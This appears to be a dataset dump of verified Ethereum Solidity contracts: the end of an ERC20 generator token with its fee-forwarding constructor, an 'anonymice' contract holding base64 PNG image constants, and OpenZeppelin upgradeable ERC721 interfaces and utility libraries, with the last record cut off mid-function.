function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// anonymice
contract characterImageSender {
string public constant characterModel1 = "iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAAAAACreq1xAAAAG3RFWHRTb2Z0d2FyZQBDZWxzeXMgU3R1ZGlvIFRvb2zBp+F8AAAACXBIWXMAAC4jAAAuIwF4pT92AAADWElEQVRYw+3Yu5XiMBQG4L8Q8knZApjEBXAOIY5dAPkUMbFSF0AjNHAzenAB2vvyC2wkAefsBijBHobPV88rGfWbCz7gB/yAH/CfgtDyNpCtIAWrX6MIdG5BVAkgWiWX/gyB4FHi5itC/Tj6m6fbr4AjFxUXQX1YGqSopHlBydtAGOTaBvDDQEiCFKM9mz0pJtZ3ovzDEcuVnoJHBpWEeUFrjWEQebtKh2j4lALDMUYjHQwWh/3+6F2hJN/kgKOIMUTjQhhHkjxEvkyBKoYhSCt64RRxMTLA7pEAZ6KF1vePal6C9DAoB2Ty6KSJMJDmRSutF6kqy5DgsBSUulmAdFckxAyQRYOYhDoaIK2AIQOU4KzeUGfFk4oQckCS4HQp4efH+Ajk9qCQBL2+SkJ7ZtvQsnjFpUuCMp2VlPpEFbeVlK7hwp/TVsThiiSoa6eQCrKIykAVW71umo4Lx35ILQ4Woi+rDBIiDk21lXK9qsjkdns4/F4raZNLzooNnb4TsNma2EqlFRSxq7DZ5IHShLJqyQyL+G0aX7Y6E1u7a7tcUIaODUOeXRHceOfzfs9EVZnIl/vzuWmzQZvRuvZLn3Td6eSgiQLuzxz4JRccUNJO7uLpdHJQRAX3/PnzfSnKy9KKcQxMS+vtKIMH+Nlk52VdckxshGmnol2xmA3aIk06dGBA0wc5XFQVvjN3DvCZpYlF1p7JbPO7SRLMGDbDP0Kz8mT6SpYd71Gy+xomjSThEZTZ8xooObPDkJt0YX0NDJCVZcx2k+W2HFSRZmLae7wl1pSHEZwt2fVzEYZhrMxW62fAfrdFK0mlvMoe4nwgD/HiiU6pbaMkP95xEYY/+slSA8WgieSibFB6zxIoisGh0n0N0Xtl55T50mO7L/RZVvPs82BtO27vGR/ej85sGcc521aP282HXt5ptA+Sxv548Xjr5wK6P6s9C/Z7Y+DPWw7g8ANGxgk6t8oU7JTxHhBf60npSXDXF/yXIL5GMCmi0EuKyPFm4O5xzyA5j2+9BIlkdAugkIU5xUfdmmdkQQrAJLw1LxDyUwAvgBrmKsk/s1comVtiTkdCDuLXXW2DH9NLQCMHU8r4qoWoAISDFOr5Oxutob8xiHFZxEqACpI25VBmLzPWwL+D1IBb8BoeHwAAAABJRU5ErkJggg==";
string public constant characterModel2 = "iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAAAAACreq1xAAAAG3RFWHRTb2Z0d2FyZQBDZWxzeXMgU3R1ZGlvIFRvb2zBp+F8AAAACXBIWXMAAC4jAAAuIwF4pT92AAADuElEQVRYw+3YzXHiQBAF4BeIg4AA1hcFQBVHdFYA3B3EnudKACRCAnMjBwWg7X7dI41AQjPYVXvxlG0EWJ96/ltC+8MFv+Av+Av+gv8VBMuPgWIFLVj9GlWgcwsiJSDGVXLpYygEjxIPX0W0r6N/uLqdBZykUFwEebFtMA4kzQskHwMRUGobIBdDxCYYh8GuLZ4WE9snUf/hhOVK5+BJQJIwL7DWGAeRt6t2CMOPW2A4DYORDgaLw84/eVeQlDcl4CRiCtG4EKaRpBfRL7dAimEM0goPnIpSjAyw99gAZ6KFlvqHmpegPYxYAgp5ctJEGBjnhZXmwVaVdUhIWAS1bhZgfCoaYgEookFCgg4DjCtgKAA1OKs36Kx4WpGIEjBqcFxK5PrD8AqU9ohhE/T6kgR7ZtfFZfGOW78J6nQmqfUZKO4aLX0nRV7zVsTxjk2Qa6eSBEVEYyDFC4+7rpcisR+3FgcL0ZdVASMGHLtmp+V+pyjkbnc8/r032ia3khUbnL4Z2O1MvGilCarYN/j4KAO1CXXV0hk24G/X+bLVm3ixd5e+FNShY8NQZtcAabzr9XAQomlMlMPD9dpdikGb0Vz7tU/6/nx20EQFD1cJ/FYKjmhkJ/fD+Xx2UEWCB3n9+rxV7cvaisMUGMvF21EHD/D1Ubwvc8kxsVPmkot2JGIxaIt05NCBAV0KcjxoGnwWZg7wmcWNRdeebLb5u2wTLBg24z+Cu3I2fXWXnd6jJvsaJ41uwhOos+d7oO6ZPca9iQvr98AAXVmm3S5bbutBinEmbntrIHxfDhSxtGTXpcRM46zOyEbOOH7eAEPKtuLKplKbtE91ng3kMd6aHLuFJXF7S5T05D9SlJGXNFlaoBxsdbVJYnRRE5Tk2QaK0tWmNbClaGPFw0Hyqu5TMnBv2WzqBOdCPdgmcG8Zt/eMD2/wSnVgy2xdxb2l1VO6SU8/fwf0U5FlicE+qwVZ5Tad7PcFlmGnj9DWDpsMTLkxJm6oAWE3PJx/PN9vMMYmYGZWOfW03mGc0zHYXQY1WFpfA/LveK8zn812j/Am+LwSWnD6Uw1afTNJMQdjJdh6C4IhaiVD9svN9A3Qxk60VpuD1W2YgVgEa3s51Zn3dAgP4BvDxr+wHeURhN1xVFaZQ9tv+BbBtYdBLy6jJzyBMfUI056abdTFlHXFDLTq2iOUwsVBzw72aCh6wmWYJmDRU8fldnwBOpnPlOlRS5qDhTm2gTG082c2aQka5/SCiJUACUY25VhmDzPWwH/97BC3tbHrHAAAAABJRU5ErkJggg==";
string public constant characterModel3 = "iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAAAAACreq1xAAAAG3RFWHRTb2Z0d2FyZQBDZWxzeXMgU3R1ZGlvIFRvb2zBp+F8AAAACXBIWXMAAC4jAAAuIwF4pT92AAAEC0lEQVRYw+3Yy42rMBQG4L+QkVIBUlzAnQ17ImUZ1hSQ/RQxa29TQBpJA96lBwrwPS+DyUAw0UiziXWvQoB8HL+OzaD95YI3+Abf4Bv8UxBSfg0ky3PB4mVsAo2bEUUCQlgk506DIViUeLgU0D6P/uHp+ivgREXEWVAetg6GKKR6XsjHQAik2nrQwxCwCoYY9dnkcVGx/SHyDSfMVzoHTwQKCfW81BrDILJ25Q6R8MMa6E8xKmmg1zj09yfrCiHpSwk4ihhDVM77cSTxQ/jiGiiiH4LUIgdGBSpKeuh3rIATUUNL/SOaFc89jFACEnkyUkUoGKZFKi0Ha1XmIUFhCch10wDDj8IhFoAkKkQkxJEAwwLoC0AOTusNcRY8rkhACRg4OEkl9PwYn4HUHsGvglZfISE9s+/CvHjHrV8FeToLyfWJIu5rLn1HhT7zVsTxjlVQcieTApKIWkERL3LcdT0Viv24lhw0REurBAZEHLt6z+V+F5HI/f54/L7X3Ca3kowNmb4Z2O1VvHClBWSxr/HxUQZyE3LW4hkW8d11lrZ6FS/67dKXgjx0dBjS7IqgxrteDwci6lpFOjxcr92lGNQZLbmf+6Tvz2cDVWTwcKXAb6XggAbp5D6ez2cDWRTwQJ9fn7dN6zK3YhwDk3KxduTBA3x9FK/LknJU7Ji55KIekVgMapIOMnSgQJeCHA7qGp+FOwfYzJKFhXNPNtvsW7YIFgwbLc45yKqcTV9eZcfv2LT78mCQ2zGLMPDseQkUj0FeM3sMa5Mk1hdArqmBHpxZxtUuS7flIHlOQMnXE3Hdm+vl1jOWQmQRcym7HPSt00prnZGNnGH8bADphHPwaROL+UVqC+il+WB7EVueJ8XC3ABCN3FON0r8439UmKGPNFlaoBxsOdskMZjIG5Tk6QKKQpDOCdjCDXsbCwfJK39PmYJOd7OpE4zzG0DuZD6XQKc7busZG96QJ20DW9mts+h0Wz1uN8Xj84Wgy0H7KbJdotdzxaB3Y5Xb9GN7L9AddjpVDqZhk4Fpb4yRi1vA5HnN3Q72gjE0gezMykFnq0V6L5ENqL5l6DXd1m8A9Xh415nOZn1HKAbbCfgzE2pw/G8zqPXNJMYMDC+CkBC5kj77L4spXqoyg9pqU7C8DSc7As1hs+Dw8oaVdz3nsnmlYIB/ANOw2bkhuS+AdH1nxemLvKSZBxD6xkEg3/c4rSfgbiyugfw9ZREEqt2kPrMRDl5VxUYS7SMYUo9UMTbNCjiKdHel96VdV8hArW7VDCTa52DFT7cs0AbbcCnGGzAeSE5aJdp9T0BHWlaZfNfAYBpUTvujaSq5Fcsvj460WFV520zWeJtAWhMeFPx0tGvgOBx8fjX9MQM2HGbB/0bwwKYhyA0yAAAAAElFTkSuQmCC";
string public constant characterModel4 = "iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAMAAAC5zwKfAAAAG3RFWHRTb2Z0d2FyZQBDZWxzeXMgU3R1ZGlvIFRvb2zBp+F8AAAACXBIWXMAAC4jAAAuIwF4pT92AAAAXVBMVEXZ2dlaWlo2Nja0tLSampr///8fHx9bW1sxMTEAAABDQ0NiYmIlJCRlZWWjo6Pz8/MtLS0wMDBOTk49PT1PT08cHBzMzMxSUlLg4OCvr69xcXF8fHyQkJA+Pj719fUw3KfWAAAE0klEQVRYw+3YYZOiOBAG4IAB0gKCnjPq7O79/5+5/XZ3IChIpuo+XU1qphSND+mkEwKu+Y+L+wF/wB/wfwXSSln/BdHbuhPYdoey7cqybQ/lQcoWeOi6Tqq0XPfwXHcGSwFRp2R2u40Kcj0+u5wbBytgWVoLAbLlUdZIgPw9g9zOssPfagsV7PB1adyKiGYfOnJOXiPYlu9BAkTWyqVI3lEZW78DdgeuwmDLIFHBRcRVUE62C5KriF9K9byQz0EzyNF64pMR0+0O6KpKz80eiorNi4gKBc7LoJjtOlgwKCSp5yVqWiaz9xgQab6bwMM66IuqUtJAr+3Q3xc2FELyAcCy68TcAmeR5iYq5/2cSTgJvgRYvgGRDoWfGqlF3hjluCjpSY+pa1v+W+3DlifcQtSmxfERzYrHCJOTAd9eHGKfF0aqSAq6ZZGg5U0dAm2uh6Qpwc0SELFpA91LQRMNbLdBiAoxSeJIA90G6DNANE7jJnE2PATiyO+F3KCjmZS+5vNX1TuQ+4NHZw+0eHX4ZGTOvVsX7/Q57IKBJNGKAvFUIp6PKEPPhV/TXqTbnahu34OIWkgBWaSjgiKe5H3fD1y47Tf29kFnyyqDjiq69cczyv0uIpPn8+32+35En3w2+2BNMn0TsD+reELQAkIcjvTxkQeiCwvJcc/g7763KTSoeNKj02Bg2ANrThhNQ55dFXHnPR7XKxPHo4r89vp49KdsMJCG7HVMhuHry0AVAV4f3PDPXDDU3EygTgZ5qL6+vgyEKOCVX3/9yQADehmejDMyJzZMysn6EclD9OuDq76fywKKV+hsrqgHc0pFfcdiLhh0kXaSOqRAHxs5vTke6U+TB5LNLJnZWHuS2WZHyUVwB2x1PFCRe1uuysn0xVV2PiYZv51BaXWUA+cNQPRj0kKH2ZOCbS4oHkBcMweark2ysH4X5LRBpAZ6wsoyX+2S5TYL1E7xPggo6/VCXHi5IDUeWGwiRFpbsvNB3wQNWmOmJHOm/PkGyN9L1D5e+d3GRSUb9NJ9ZHsRuzwvijUzJw8NJN3EBd0o4cf/cAHDLzZZOBkoH2yw2kTRmYgNSvQ8Idz9i5SCXEXAhsK0t7H9FUUvzoF2N7GXYNDdLETbW+ge0cLNADHIqBLBoDtuGxlLb5Iz1TqxMsFGdusQg26r5+2mePg8K22oCSloP6Vkl+j1szwwDrKF3MQf232B7rDjR5SRhzGvbVBmMO6Naeaq74DR87p2B7IbjKkLZGeWDwbb18f7EtKtKC6F+p1u678B6vF0r7OczXqPkAfqKCfg60oI7l9w1frzjpenIjOo8SYSMKfRYn/L9+zdm4cY8jnf8C1AkiYiSJ/8y8UUIJ5myN3tKij3590yZIDaa0tQ+7DB85A3IJ+tWXSKrmGr4HTzRu/AmGaSOBPoyD+BMW3qmGG0fnvbgautBIp3fy8g6R0Hg6hnmb4O1nMJF65kN3yrINFYz/FstXDyxrG6yEL7DLo4ImNVXS47YDOJXHvUjoy7LpeAGu54mcitPiwNHHH2eGZnGy7FsAFDIgXplcrq0UYelph745gEk+4aAE7bTB2Py2WsyssbkGNmrRrHNHmenzvKGlvbCKNzyvVnDgzi1ALO6eDThSQ+zCBLBwMvi6dZfwEguKhsCUkrrgAAAABJRU5ErkJggg==";
string public constant characterModel5 = "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";
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
